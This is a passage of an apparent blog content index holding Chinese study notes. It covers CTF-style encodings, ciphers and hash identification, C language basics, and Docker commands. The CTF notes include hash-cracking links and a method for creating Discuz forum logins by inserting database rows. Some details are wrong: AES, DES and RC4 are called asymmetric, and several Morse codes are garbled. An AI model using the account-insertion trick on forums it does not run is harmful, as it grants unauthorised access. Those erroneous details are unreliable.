个控制字符(不能打印出来)\n这128个符号,只占用了一个字节的后面7位,最前面的一位统一规定为0。\n特征:只含有数字\n\n0-9:49-57\nA-Z:65-90\na-z:97-122\n\n明文:hello,world.十六进制:0x680x650x6c0x6c0x6f0xff0c0x770x6f0x720x6c0x640x2e十进制:1041011081081112551211911111410810046二进制:011010000110010101101100011011000110111100101100011101110110111101110010011011000110010000101110\n\n解码链接1\n解码链接2\nASCII码对照表\n\n\nBase家族编码\nbase16/base32/base64/base58/base85/base100\n\nBase16编码是将二进制文件转换成由(0-9、A-F)16个字符组成的文本\nBase32编码由(A-Z、2-7)32个可见字符构成,”=”符号用作后缀填充。\nBase36的密文由(A-Z、0-9)36个字符组成,加密仅支持整数数字,解密仅支持字符串,不支持中文 \nBase64的编码表是由(A-Z、a-z、0-9、+、/)64个可见字符构成,“=”符号用作后缀填充。\nBase58的编码表相比base64少了数字0,大写字母I,O,小写字母 l (这个是L),以及符号‘+’和‘/’\nBase91的密文由91个字符(0-9,a-z,A-Z,!#$%&()*+,./:;<=>?@[]^_`{|}~”)组成\nBase100编码/解码工具(又名:Emoji表情符号编码/解码),可将文本内容编码为Emoji表情符号;同时也可以将编码后的Emoji表情符号内容解码为文本。 \n明文:hello,world.123456base16: 68656C6C6F2C776F726C642E313233343635特征:大写字母(A-Z)和数字(0-9),不用‘=’补齐,且数字要多于字母。\n\nbase32: NBSWY3DPFR3W64TMMQXDCMRTGQ3DK===特征:大写字母(A-Z)和数字(2-7),不满5的倍数,用‘=’补齐。\n\nbase58: 2smDFYXWKE8vc8XA8dadEYcSqcQb特征:相比Base64,Base58不使用数字"0",字母大写"O",字母大写"I",和字母小写"l",以及"+"和"/"符号,最主要的是后面不会出现'='。\n\nbase64: aGVsbG8sd29ybGQuMTIzNDY1特征:大小写字母(A-Z,a-z)和数字(0-9)以及特殊字符‘+’,‘/’,不满3的倍数,用‘=’补齐。\n\nbase85: BOu!rDst>tGAhM<A1fSl1GgsI特征:特点是奇怪的字符比较多,但是很难出现等号\n\nbase91: TPwJh>go2Tv!_,aRA2IbLmA特征:由91个字符(0-9,a-z,A-Z,!#$%&()*+,./:;<=>?@[]^_`{|}~”)组成不支持中文。\n\nbase100: 👟👜👣👣👦📦💳💃👮👦👩👣👛🐥🐨🐩🐪🐫🐬🐭特征:就是一堆Emoji表情\n\nbase16 / base32 / base64\nbase58\nbase85\nbase91\nbase100\nMD5、SHA1、HMAC、NTLM等类似加密型MD5一般MD5值是32位由数字”0-9”和字母”a-f”所组成的字符串,字母大小写统一。如果出现这个范围以外的字符说明这可能是个错误的md5值,就没必要再拿去解密了。\n\n也有可能是MD5&Salt(discuz)\nmd5(md5(password).salt)\nsalt是一个随机的6位字符串,保存在ucenter_members表中。该表和common_member表中都存有password字段,需要注意的是,这两个表中的password字段的值是不一样的,用户在做登录的时候,实际上判断的是ucenter_members表中的密码字段,common_member表中的密码字段是没有意义的,可以任意更改。\n在通过其它途径需要往论坛添加可登录用户的时候,只需要向ucenter_members表中插入数据即可登录,然后登录的时候系统会让该帐号激活,激活成功后即可登录。如果在两张表中都有插入数据的话,用户登录的时候就不需要激活,直接登录。(建议只在一张表中插入数据,激活的时候让系统自动往common_member表中插数据,避免手动插入的数据错乱。)\n\n16位值是取的是8~24位。\n特征:\n有固定长度,一般是32位或者16位\n由数字“0-9”和字母“a-f”组成\n明文:hello,world.123456md5(hello,world.123456,32) = 5189503aae1b1c0a6fbf7ea9e3128ab0md5(hello,world.123456,16) = ae1b1c0a6fbf7ea9\n\nMD5解密1\nMD5解密2\nSHA1SHA1是一种密码散列函数,SHA1可以生成一个被称为消息摘要的160位,20字节的散列值,散列值通常的呈现形式为40位十六进制数。这种加密和MD5类似。\n特征:\n有固定长度,为40位的字符串\n明文:hello,world.123456sha1(hello,world.123456)= 0179303b8f08fbc3d16cd23a4be5828790e12375\n\nSHA1加解密1\nSHA1加解密2\nHMAC简述:\nHMAC(Hash-based Message Authentication Code)常用于接口签名验证,这种算法就是在前两种加密的基础上引入了秘钥,而秘钥又只有传输双方才知道,所以基本上是破解不了的。\n特征:\n和MD5类似,但是有秘钥。\nHAMC加解密\nNTLM这种加密是Windows的哈希密码,是Windows NT早期版本的标准安全协议。与它相同的还有Domain Cached Credentials(域哈希)。\nNTML加解密\n类似加密穷举\n\n\n#\n算法\n长度\n\n\n\n1\nmd5\n32/16\n\n\n2\nsha1\n40\n\n\n3\nsha256\n64\n\n\n4\nsha512\n128\n\n\n5\nadler32\n8\n\n\n6\ncrc32\n8\n\n\n7\ncrc32b\n8\n\n\n8\nfnv132\n8\n\n\n9\nfnv164\n16\n\n\n10\nfnv1a32\n8\n\n\n11\nfnv1a64\n16\n\n\n12\ngost\n64\n\n\n13\ngost-crypto\n64\n\n\n14\nhaval128,3\n32\n\n\n15\nhaval128,4\n32\n\n\n16\nhaval128,5\n32\n\n\n17\nhaval160,3\n40\n\n\n18\nhaval160,4\n40\n\n\n19\nhaval160,5\n40\n\n\n20\nhaval192,3\n48\n\n\n21\nhaval192,4\n48\n\n\n22\nhaval192,5\n48\n\n\n23\nhaval224,3\n56\n\n\n24\nhaval224,4\n56\n\n\n25\nhaval224,5\n56\n\n\n26\nhaval256,3\n64\n\n\n27\nhaval256,4\n64\n\n\n28\nhaval256,5\n64\n\n\n29\njoaat\n8\n\n\n30\nmd2\n32\n\n\n31\nmd4\n32\n\n\n32\nripemd128\n32\n\n\n33\nripemd160\n40\n\n\n34\nripemd256\n64\n\n\n35\nripemd320\n80\n\n\n36\nsha224\n56\n\n\n37\nsha3-224\n56\n\n\n38\nsha3-256\n64\n\n\n39\nsha3-384\n96\n\n\n40\nsha3-512\n128\n\n\n41\nsha384\n96\n\n\n42\nsha512/224\n56\n\n\n43\nsha512/256\n64\n\n\n44\nsnefru\n64\n\n\n45\nsnefru256\n64\n\n\n46\ntiger128,3\n32\n\n\n47\ntiger128,4\n32\n\n\n48\ntiger160,3\n40\n\n\n49\ntiger160,4\n40\n\n\n50\ntiger192,3\n48\n\n\n51\ntiger192,4\n48\n\n\n52\nwhirlpool\n128\n\n\n53\nmysql\n老MYSQL数据库用的,16位,且第1位和第7位必须为0-8\n\n\n54\nmysql5\n40\n\n\n55\nNTLM\n32\n\n\n56\nDomain Cached Credentials\n32\n\n\n埃特巴什码一种古老的加密技术,属于简单替换密码的范畴。其基本原理是,在字母表中,每一个字母都被替换为其在字母表中的对称字母。\n埃特巴什码在线解密\nAES、DES、RC4、Rabbit、3DES型加密简述:\n以上都是非对称性加密算法,就是引入了密钥,密文特征与Base64类似。\n非对称加密\nRabbit加密开头部分通常为U2FsdGVkX\n\nUnicode编码Unicode(统一码、万国码、单一码)是一种在计算机上使用的字符编码。\n它用两个字节来编码一个字符,字符编码一般用十六进制来表示。\n明文:hello,world.&#x [hex]:&#x0068;&#x0065;&#x006C;&#x006C;&#x006F;&#xFF0C;&#x0077;&#x006F;&#x0072;&#x006C;&#x0064;&#x002E;&# [hex]:&#00104;&#00101;&#00108;&#00108;&#00111;&#65292;&#00119;&#00111;&#00114;&#00108;&#00100;&#00046;\\u [hex]:\\U0068\\U0065\\U006C\\U006C\\U006F\\U002C\\U0077\\U006F\\U0072\\U006C\\U0064\\U002E\\u+ [hex]:\\U+0068\\U+0065\\U+006C\\U+006C\\U+006F\\U+FF0C\\U+0077\\U+006F\\U+0072\\U+006C\\U+0064\\U+002E\n\nunicode16进制\nunicode\n常见\\u方式\nHTML实体编码字符实体是用一个编号写入HTML代码中来代替一个字符,在使用浏览器访问网页时会将这个编号解析还原为字符以供阅读。\n明文:hello,world.十进制:&#104;&#101;&#108;&#108;&#111;&#65292;&#119;&#111;&#114;&#108;&#100;&#46;十六进制:&#x68;&#x65;&#x6C;&#x6C;&#x6F;&#xFF0C;&#x77;&#x6F;&#x72;&#x6C;&#x64;&#x2E;\n\nHTML实体加解密1\nHTML实体加解密2\nEscape、Unescape编码(%u)Escape/Unescape加密解码/编码解码,又叫%u编码,其实就是字符对应UTF-16 16进制表示方式前面加%u。\nUnescape解码/解密就是去掉”%u”后,将16进制字符还原后,由utf-16转码到自己目标字符。如:字符”中”,UTF-16BE是:“6d93”,因此Escape是“%u6d93”,反之也一样。\n明文:hello,world.密文:%u0068%u0065%u006c%u006c%u006f%uff0c%u0077%u006f%u0072%u006c%u0064%u002e\n\nEscape编码/解码\nURL编码url编码又叫百分号编码,是统一资源定位(URL)编码方式。URL地址(常说网址)规定了常用地数字,字母可以直接使用,另外一批作为特殊用户字符也可以直接用(/,:@等),剩下的其它所有字符必须通过%xx编码处理。现在已经成为一种规范了,基本所有程序语言都有这种编码,如js:有encodeURL、encodeURIComponent,PHP有 urlencode、urldecode等。编码方法很简单,在该字节ascii码的的16进制字符前面加%如空格字符,ascii码是32,对应16进制是20,那么urlencode编码结果是:%20。\nURL加解密\nHex编码Hex全称是Intel HEX。Hex文件是由一行行符合Intel HEX文件格式的文本所构成的ASCII文本文件。在Intel HEX文件中,每一行包含一个HEX记录。这些记录由对应机器语言码和/或常量数据的十六进制编码数字组成。\n特征:\n十六进制(Hexadecimal)\n由0-9,A-F组成,字母不区分大小写\n与10进制的对应关系是:0-9不变,A-F对应10-15\n明文:hello,world.密文(带%):%68%65%6c%6c%6f%ef%bc%8c%77%6f%72%6c%64%2e密文(不带%):68656C6C6FEFBC8C776F726C642E\n\n不带%\n带%\n文本隐藏加密特征:\n加密过的密文会比原文的字节数多,当你按删除键的时候会发现某一处要按好多下才能把前面的字删掉\n原理:\n在密文中加入了不可见字符组成的编码,例如上述看似九个字符的一句话,通过字数查询可知它实际上有87个字符,多出的字符是由零宽空格实现的编码,因为零宽空格不占据空间,所以看不出它的存在。\n在进行文本隐藏加密时,将需要隐藏的文字写在括号中,就像这样“你好(有才华),我好喜欢你(画的画)!”,然后加密即可隐藏括号内的文字。同时可以设定一个密码,这样只有知道密码的人才能解密隐藏的文字。密码可以是数字、字母和下划线,最多九位。\n文本隐藏加密\n零宽隐写特征:\n解密后明文与密文会分开显示,密文一般隐藏在第一个字后面\n这里加密过的密文在文本隐藏加密中解不出来\n零宽隐写\njs专用加密JS颜文字加密特征:\n一堆颜文字构成的js代码,在F12中可直接解密执行\nJS颜文字加密\n解密在F12的console中\nJother编码jother是一种运用于javascript语言中利用少量字符构造精简的匿名函数方法对于字符串进行的编码方式。\n特征:\n只用!+()[]{}这八个字符就能完成对任意字符串的编码。可在F12中解密执行\nJother\nJSFuck编码特征:\n与jother很像,只是少了{}\nJSFuck加密\n解密在F12的console中\nQuoted-printable编码它是多用途互联网邮件扩展(MIME)一种实现方式。有时候我们可以邮件头里面能够看到这样的编码。\n特征:\n任何一个8位的字节值可编码为3个字符:一个等号”=”后跟随两个十六进制数字(0–9或A–F)表示该字节的数值。\n明文:天上掉下了个猪八戒密文:=E5=A4=A9=E4=B8=8A=E6=8E=89=E4=B8=8B=E4=BA=86=E4=B8=AA=E7=8C=AA=E5=85=AB=E6=88=92\n\n在线编码\nXXencodeXXencode将输入文本以每三个字节为单位进行编码。如果最后剩下的资料少于三个字节,不够的部分用零补齐。这三个字节共有24个Bit,以6bit为单位分为4个组,每个组以十进制来表示所出现的数值只会落在0到63之间。以所对应值的位置字符代替。\n特征:\n字符范围是:0-9,A-Z,a-z一共64个字符。\n跟base64打印字符相比,就是UUencode多一个”-“字符,少一个”/“字符。\n明文:hello,world.密文:BO4JgP4yXf5RjQalY9U++\n\nUUencode加解密\nUUencodeUUencode是一种二进制到文字的编码,最早在unix邮件系统中使用,全称:Unix-to-Unix encoding,UUencode将输入文本以每三个字节为单位进行编码,如果最后剩下的资料少于三个字节,不够的部份用零补齐。三个字节共有24个Bit,以6-bit为单位分为4个组,每个组以十进制来表示所出现的字节的数值。这个数值只会落在0到63之间。然后将每个数加上32,所产生的结果刚好落在ASCII字符集中可打印字符(32-空白…95-底线)的范围之中。\n明文:hello,world.密文:,:&5L;&\\L=V]R;&0N\n\nUUencode1\nUUencode2\naaencode编码特征:\n将JS代码转换成常用的网络表情。\naaencode1\naaencode2\naaencode3\njjencode编码特征:\n将JS代码转换成只有符号的字符串。\njjencode加密\njjencode解密\nbrainfuck编码Brainfuck是一种极小化的计算机语言,按照”Turing complete(完整图灵机)”思想设计的语言,它的主要设计思路是:用最小的概念实现一种”简单”的语言。\n特征:\nBrainFuck语言只有八种符号,所有的操作都由这八种符号 (> < + - . , [ ]) 的组合来完成。\n明文:hello,world.密文:+++++ +++++ [->++ +++++ +++<] >++++ .---. +++++ ++..+ ++.<+ +++++ ++[->----- ---<] >---. <++++ ++++[ ->+++ +++++ <]>++ +++++ ++++. ----- ---.+++.-- ----. ----- ---.< +++++ ++[-> ----- --<]> ----- .<\n\nBrainfuck1\nBrainfuck2\nOok!编码它与Brainfuck完全相同,只是说明被改成了Orangutan单词。它代表了一长串Brainfuck命令替换中的第一个。因此,它是TrivialBrainfuckSubstitution编程语言家族的一员。\nOok!\n摩斯电码摩尔斯电码(Morse Code)是由美国人萨缪尔·摩尔斯在1836年发明的一种时通时断的且通过不同的排列顺序来表达不同英文字母、数字和标点符号的信号代码,摩尔斯电码主要由以下5种它的代码组成:\n\n点(.)\n划(-)\n每个字符间短的停顿(通常用空格表示停顿)\n每个词之间中等的停顿(通常用/划分)\n以及句子之间长的停顿\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nA .-\nB -…\nC -.-.\nD -..\nE .\nF ..-.\nG –.\nH ….\nI ..\nJ .—\n\n\nK -.-\nL .-..\nM –\nN -.\nO —\nP .–.\nQ –.-\nR .-.\nS …\nT -\n\n\nU ..-\nV …-\nW .–\nX -..-\nY -.–\nZ –..\n0 —–\n1 .—-\n2 ..—\n3 …–\n\n\n4 ….-\n5 …..\n6 -….\n7 –…\n8 —..\n9 —-.\n. .-.-.-\n, –..–\n? ..–..\n- -….-\n\n\n= -…-\n: —…\n; -.-.-.\n( -.–.\n) -.–.-\n/ -..-.\n“ .-..-.\n$ …-..-\n‘ .—-.\n¶ .-.-..\n\n\n_ ..–.-\n@ .–.-.\n! —.\n! -.-.–\n+ .-.-.\n~ .-…\n# …-.-\n& . …\n⁄ -..-.\n\n\n\n特征:\n由 . - “空格” / 表示。\n莫斯电码1\n莫斯电码2\n社会主义编码特征:\n字符全部是社会主义核心价值观。\n社会主义编码\n与佛论禅特征:\n密文以”佛曰:”开头,密文一般是与关佛经的汉字\n与佛论禅\n新与佛论禅新约佛论禅加密算法,简称”新佛曰”。相较于佛曰算法而言,在链接加密方面拥有更高的压缩率。\n特征:\n密文以”新佛曰:”开头,密文一般是与关佛经的汉字\n新与佛论禅\n百家姓暗号百家姓\n卡尔达诺栅格码特征:\n把明文伪装成垃圾邮件\n解密\n文本加密为汉字解密\n汉信码汉信码与现有二维码相比较,具有如下特点:\n\n汉字编码能力强:支持GB18030中规定的160万个汉字信息字符,采用12位二进制数进行表示,在现有的二维码中表示汉字效率最高。\n\n信息容量大:最多可表示7829个数字、4350个ASCII字符、2174个汉字、3262个8位字节信息\n\n编码范围广:可以对照片、指纹、掌纹、签字、声音、文字等数字化信息进行编码。\n\n抗污损、抗畸变识读能力强:能够容忍较大面积的符号污损,特别适合在恶劣条件下使用。\n\n具备纠错能力:具备四种纠错等级:8%、15%、23% 、30%,不输QR码。\n\n识读速度快:汉信码的识读速度比国际上的主流二维码DataMatrix还要高。\n\n\n\n汉信码\nWhitespace加密大多数的编程语言都会忽略代码中的空白字符,”Whitespace”是专门来弥补普通编程语言,它给予这些空白字符最重要的地位。\n在”Whitespace”编程语言中,任何非空白的字符都是被忽略的,只有空格符、tab和换行符被认为是有效的语义字符。\nWhitespace\n后端代码加密PHP:乱码,头部有信息\n.NET:DLL封装代码文件(dnSpy、ILSpy)\nJAVA:JAR&CLASS文件\n举例:Zend ILSpy IDEA\n应用场景:版权代码加密,开发特性等\n","tags":["CTF","summary"]},{"title":"C语言","url":"/2024/04/14/C%E8%AF%AD%E8%A8%80/","content":"程序设计入门——C语言\nC语言程序设计进阶\n\n优先级赋值运算符<条件运算符<关系运算符<算术运算符\n\n\n\n优先级\n运算符\n结合性\n\n\n\n1\n()\n从左到右\n\n\n2\n! + - ++ –\n从右到左单目的+和-\n\n\n3\n* / %\n从左到右\n\n\n4\n+ -\n从左到右\n\n\n5\n< <= > >=\n从左到右\n\n\n6\n== !=\n从左到右\n\n\n7\n&&\n从左到右\n\n\n8\n||\n从左到右\n\n\n9\n= += -= *= /= %=\n从右到左\n\n\n不要把赋值、包括复合赋值组合进表达式\n分支结构switch-case\nswitch(表达式){ case 常量: break; default: }\n\n\nbreak:跳出循环\n\ncontinue:跳过循环这一轮剩下的语句进入下一轮\n\ngoto:多重循环的内层跳到最外面的时候(但是少用)\n\n\n\tgoto out;\t···out:\treturn 0;\n\n循环while语句是一个循环语句,它会首先判断一个条件是否满足,如果条件满足,则执行后面紧跟着的语句或语句括号,然后再次判断条件是否满足,如果条件满足则再次执行,直到条件不满足为止。后面紧跟的语句或语句括号,就是循环体。\n\ndo-while循环和while循环很像,唯一的区别是我们在循环体执行结束的时候才来判断条件。也就是说,无论如何,循环都会执行至少一遍,然后再来判断条件。与while循环相同的是,条件满足时执行循环,条件不满足时结束循环。 \n布尔运算#include <stdbool.h>\n\n之后就可以使用bool和true、false\n#include <stdbool.h>bool b=6>5;bool c=true;printf("%d\\n",b);\n\n数组int number[100];int a[]={1,4,5,63,27,8,6,2,9,8,23,7}\n\n数组变量本身表达地址,所以\n\nint a[10];int *p=a;//无需用&取地址\n\n但是数组的单元表达的是变量,需要用&取地址\n\na==&a[0]\n\n[]运算符可以对数组做,也可以对指针做:\n\np[0]<==>a[0]\n\n*运算符可以对指针做,也可以对数组做:\n\n*a=25;\n\n数组变量是const的指针,不能被赋值\n\nint a[]<==>int * const a=\n\n\n>int i>const int* p1=&i;>int const* p2=&i;>int *const p3=&i;\n\n判断哪个被const了的标志是const在*的前面还是后面\n\n\n格式控制符的形式\n\n%、[-]、[0]、[m/m.n]、[l/h]格式控制符\n其中[ ]里面的内容是可选的\n\n-:表示左对齐,缺省情况下为右对齐(若没规定输出数据的宽度则为左对齐)。\n\n0:当规定输出数据的宽度时,所输出数据实际的宽度小于规定的宽度,则在左边用“0”补齐。\n\nm/m.n:m规定了输出数据的宽度(位数),若数据实际的宽度大于m,则突破m的限制全部输出,反之将数据全部输出之后用空格进行左补齐;对于实数n是指小数点后的位数,若n小于小数点后实际的位数,则按四舍五入原则进行截取;对于字符串,n表示从左至右截取的字符个数。\n\nl/h:l表示长整型数据(可用于%ld、%lo、%lx、%lu)以及double型数据(%lf或%le);h表示短整型数据(可用于%hd、%ho、%hx)。\n\n\n\n格式控制符及其功能(以输出为例)\n\n\n%d:用来输出有符号的十进制整数(包括char类型)\n%u:用来输出无符号的十进制整数(包括char类型)\n%o:用来输出无符号的八进制整数(比如输出*p的值(*p指向a则输出a的地址))\n%x:用来输出无符号的十六进制整数\n%c:用来输出单个字符\n%s:用来输出一个字符串(%和s之间加数字控制只读这么多数字)\n%f:用来输出小数形式的十进制浮点数(输入时小数形式和指数形式都可以识别)\n%e:用来输出指数形式的十进制浮点数(输入时小数形式和指数形式都可以识别)\n%g:用来输出指数形式和小数形式两者中较短的十进制浮点数(输入时小数形式和指数形式都可以识别)\n%p:用来输出值的地址\n\n字符串函数#include <string.h>\n\n\nstrlen(字符数组):返回字符串的长度(不包括结尾的\\0)\n\nstrcmp(str1,str2):按ASCII码值大小比较两个字符串,出现不相同的字符以第一对不相同的字符比较结果为准并返回:\n\n0:s1==s2\n正整数:s1>s2\n负整数:s1<s2\n\n\nstrcpy(str1,str2):把后者的字符串覆写拷贝到前者\nstrncpy(str1,str2,n):将str2的前n个字符复制到str1中。\n\nstrcat(str1,str2):把后者的字符串拷贝到前者的后面,接成一个长的字符串\n\nstrchr:在一个字符串中查找给定字符的第一个匹配之处,返回null表示没找到\n\nstrstr:判断字符串后者是否是前者的子串。如是则返回前者字符串从后者第一次出现的位置开始到结尾,否则返回null\n\nstrlwr(字符串):将字符串中的大写字母换成小写字母\n\nstrupr(字符串):将字符串中的小写字母换成大写字母\n\n\n变量的存储方式和生存期存储空间分为三部分:\n\n程序区\n\n静态存储区\n\n全局变量\n\n\n动态存储区\n\n函数形参:在调用函数时给形参分配存储空间\n函数中定义的没有用关键字static声明的变量(自动变量)\n函数调用时的现场保护和返回地址等\n\n\n\n局部变量的存储类别\n自动变量(auto变量)\n\n(auto) int a=0;\n\n\n寄存器变量(register变量)(现在用register声明变量的必要性不大)\n\n为提高使用效率将使用频繁的局部变量值放在CPU的寄存器中\nregister int a;\n\n\n全局变量的存储类别\n\n全局变量的作用域有以下几种情况:\n\n在一个文件内拓展外部变量的作用域\n\n用extern作外部变量声明,表示该外部变量的作用域拓展到此位置(但是提倡将外部变量的定义放在引用它的所有函数前,可避免在函数中多加一个extern声明)\n#include<stdio.h>int main(){ int max();//因AB是外部变量,所以调用max时用不到参数传递 extern int A,B; printf("max is %d",max());}int A,B;int max(){ return (A>B?A:B)}\n\n\n将外部变量的作用域拓展到其他文件\n\n将外部变量的作用域限制在本文件中\n\n\n某些外部变量只限于被本文件引用,而不能被其他文件引用,这时可在定义外部变量时加一个static声明\n动态内存分配#include <stdlib.h>\n\n\nmalloc(size):在内存的动态存储区中分配一个长度为size字节的连续空间(用完要free)\ncalloc(n,size):分配n个长度为size的连续空间(保存数组时常用)\nrealloc(p,size):将p所指向的动态空间大小改为size,p值不变\nfree(p):释放动态存储区\n\n内部函数&外部函数\n内部函数\n\n一个只能被本文件中其他函数所调用的函数,在定义内部函数时在函数名和函数类型前加static\n\n外部函数\n\n可供其他文件调用的函数,在函数首部的最左端加关键字extern(定义函数时省略extern则默认为是外部函数)\n指针int a=1,b=2;int *p1=&a;int *p2;p2=&b;\n\n*(arr+i)和arr[i]无条件等价\n\n\n\n实参类型\n要求形参的类型\n传递的信息\n通过函数调用能否改变实参的值\n\n\n\n变量名\n变量名\n变量的值\n不能\n\n\n数组名\n数组名或指针变量\n实参数组首元素的地址\n能\n\n\n\n通过指针引用数组\n\n\n如果用指针变量作实参,必须先使指针变量有确定值,指向一个已定义的对象。\n\n通过指针引用字符串:\nchar *str="hello";\n\n指向函数的指针\nint (*p)(int);//不可省略*p两边的括号!\n\n指针变量的类型及含义\n\n\n结构体struct 结构体名{ ...};struct Example eg1,eg2;\n\n枚举enum 枚举类型名字{名字0,…,名字n};\n\n声明枚举量也可以指定值\n\n和数组不同,结构变量的名字并不是结构变量的地址,必须使用&运算符\n文件读写fopen(文件名,使用文件方式);\nfopen("a1","r");\n\n使用文件方式\n\n\n常用下面方法打开一个文件\nif((fp=open("file1","r"))==NULL){ printf("can't open file\\n"); exit(0);}\n\nfclose关闭数据文件\n读写一个字符的函数\n\n\n读写一个字符串的函数\n\n\n易混淆\n\n\n表达式\n值\n\n\n\na++\na原来的值\n\n\n++a\na+1以后的值\n\n\na–\na原来的值\n\n\n–a\na-1以后的值\n\n\n++a:先加再用\na++:先用再加\n杂项\n随机数的生成\n\n#include <stdlib.h>#include <time.h>srand(time(0));int num=rand();\n\n","tags":["技术栈"]},{"title":"Docker","url":"/2024/04/14/Docker/","content":"Docker官网:https://www.docker.com/\n文档地址:https://docs.docker.com/\n仓库地址:https://hub.docker.com/\n==容器化技术不是模拟完整的一个操作系统==\n架构\n镜像(Image):Dockers镜像(Image),相当于是一个root文件系统,比如官方镜像Ubuntu 16.04就包含了一套Ubuntu 16.04最小系统的root文件系统,好比是一个模板,通过这个镜像可以创建容器服务,tomcat ==> run ==>tomcat01容器(提供服务的)通过这个镜像可以创建多个容器\n容器(Container):镜像(Image)和容器(Container)的关系,就像是面向对象程序设计中的类和实例一样,镜像是静态的定义,容器是镜像运行时的实体。容器可以被创建,启动,停止,删除,暂停等\n仓库(Repository):仓库可以看成一个代码控制中心,用来保存镜像。分为共有仓库和私有仓库\n\nDocker使用Client-Server(C/S)架构模式,使用远程API来管理和创建Docker容器。\nDocker容器通过Docker镜像来创建。\n容器与镜像的关系类似于面向对象编程中的对象和类\n安装\n卸载旧的版本\n\nyum remove docker \\ docker-client \\ docker-client-latest \\ docker-common \\ docker-latest \\ docker-latest-logrotate \\ docker-logrotate \\ docker-engine\n\n\n需要的安装包\n\nyum install -y yum-utils\n\n\n设置镜像仓库\n\nyum-config-manager --add-repo http://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo\n\n\n更新yum包索引\n\nyum makecache fast\n\n\n安装Docker\n\nyum install docker-ce docker-ce-cli containerd.io\n\n\n启动Docker\n\nsystemctl start docker\n\n\n检查是否安装成功\n\ndocker version\n\n\n测试hello world\n\ndocker run hello-world\n\n\n查看镜像\n\ndocker images\n\n\n配置阿里云镜像加速\n\n\n登录-容器镜像服务-镜像加速器\nsudo mkdir -p /etc/dockersudo tee /etc/docker/daemon.json <<-'EOF'{"registry-mirrors": ["https://l3r9ab0o.mirror.aliyuncs.com"]}EOFsudo systemctl daemon-reloadsudo systemctl restart docker\n\n\n卸载Docker\n\n卸载依赖\n\nyum remove docker-ce-cli containerd.io\n\n\n删除运行环境\n\nrm -rf /var/lib/docker# /var/lib/docker Docker默认工作路径\n\n\n命令帮助文档地址:https://docs.docker.com/reference/\n帮助命令docker version #显示docker版本信息docker info #显示docker系统信息,包括镜像和容器的数量docker 命令 --help #帮助命令\n\n镜像命令\ndocker images:查看主机本地上的镜像\n-a:列出所有镜像\n-q:只显示镜像id\n\n\ndocker search 镜像名:搜索镜像\n– filter=过滤的条件=具体的值:设置过滤选项\n\n\ndocker pull 镜像名:下载镜像\n:tag:下载指定版本\n\n\n\n[root@jackie /]# docker pull mysql:5.75.7: Pulling from library/mysql72a69066d2fe: Pull complete #分层下载,docker image的核心 联合文件系统93619dbc5b36: Pull complete 99da31dd6142: Pull complete 626033c43d70: Pull complete 37d5d7efb64e: Pull complete ac563158d721: Pull complete d2ba16033dad: Pull complete 0ceb82207cd7: Pull complete 37f2405cae96: Pull complete e2482e017e53: Pull complete 70deed891d42: Pull complete Digest: sha256:f2ad209efe9c67104167fc609cca6973c8422939491c9345270175a300419f94 #签名(防伪)Status: Downloaded newer image for mysql:5.7docker.io/library/mysql:5.7 #真实地址#等价于↓docker pull docker.io/library/mysql:5.7\n\n\ndocker rmi 镜像id:删除镜像\n-f:强制删除\n\n\n\ndocker rmi -f $(docker images -aq)#删除全部容器($把括号内的值传过去)\n\n容器命令\n有了镜像才可创建容器\n\n\ndocker run [可选参数] image:创建并运行容器\n–name=”Name”:设置容器名字来区分容器\n-d:以后台方式运行\n-it:使用交互方式运行,进入容器查看内容\n-p:端口映射\n-p 主机端口:容器端口\n-p ip:主机端口:容器端口\n-p 容器端口\n容器端口\n\n\n-P:随机指定端口\n–rm:容器用完即删(用来测试)\n-v:卷挂载\n-e:环境配置\n\n\n\n容器内的是基础,很多命令不完善\n进入容器后exit 从容器中退回到主机\n\nCtrl+P+Q容器不停止退出\n\n\ndocker ps:查看当前正在运行的容器\n-a:列出当前正在运行的容器+历史运行过的容器\n-n=?:显示最近创建的容器\n-q:只显示容器编号\n\n\ndocker rm 容器id:删除指定的容器(无法直接删除运行中的容器)\n\n#两者均可删除所有容器docker rm -f $(docker ps -aq)docker ps -a -q|xargs docker rm\n\n\ndocker start 容器id:启动容器\ndocker restart 容器id:重启容器\ndocker stop 容器id:停止当前正在运行的容器\ndocker kill 容器id:强制停止当前容器\n\n\nstop 会给容器内应用10s时间去停止服务,kill直接强行停止\n删除容器指的是删除这个实例,kill指的是关闭正在运行的容器,实例仍旧存在\n\n※常用其他命令\n后台启动容器\n\n# 命令 docker run -d 镜像名docker run -d centos#坑:docker ps 发现centos停止了,docker容器使用后台运行,必须有前台进程,否则自动停止\n\n\ndocker logs:查看日志信息\n\n-tf:t显示时间戳;f动态显示\n–tail number:要显示的日志条数\n\n\ndocker top 容器id:查看容器中进程信息\n\n\n\npid:当前进程id;ppid:父进程id\n\n\ndocker inspect 容器id:查看镜像元数据\n\ndocker exec -it 容器id bashshell:进入容器后打开一个新的终端,==可以在里面操作==\n\n\n\n通常容器都是使用后台方式运行的,需要进入其中的容器修改一些配置\ndocker exec -it 容器id /bin/bash\n\n\ndocker attach 容器id bashshell:进入容器正在执行的终端,==不会启动新的进程==\ndocker cp 容器id:容器内路径 目的主机路径: 从容器内拷贝文件到主机上\n\n\n小汇总\n\n\n\n\n命令\n说明\n\n\n\nattach\n当前shell下attach连接指定运行镜像\n\n\nbuild\n通过dockerfile定制镜像\n\n\ncommit\n提交当前容器为新的镜像\n\n\ncp\n从容器中拷贝指定文件或目录到宿主机中\n\n\ncreate\n创建一个新的容器,同run,但不启动容器\n\n\ndiff\n查看docker容器变化\n\n\nevents\n从docker服务获取容器实时事件\n\n\nexec\n在已存在的容器上运行命令\n\n\nexport\n导出容器的内容流作为一个tar归档文件(对应import)\n\n\nhistory\n展示一个镜像形成历史\n\n\nimages\n列出系统当前镜像\n\n\nimport\n从tar包中的内容创建一个新的文件系统映像(对应export)\n\n\ninfo\n显示系统相关信息\n\n\ninspect\n查看容器详细信息\n\n\nkill\nkill指定的docker容器\n\n\nload\n从一个tar包中加载一个镜像(对应save)\n\n\nlogin\n注册或者登录一个docker源服务器\n\n\nlogout\n从当前docker 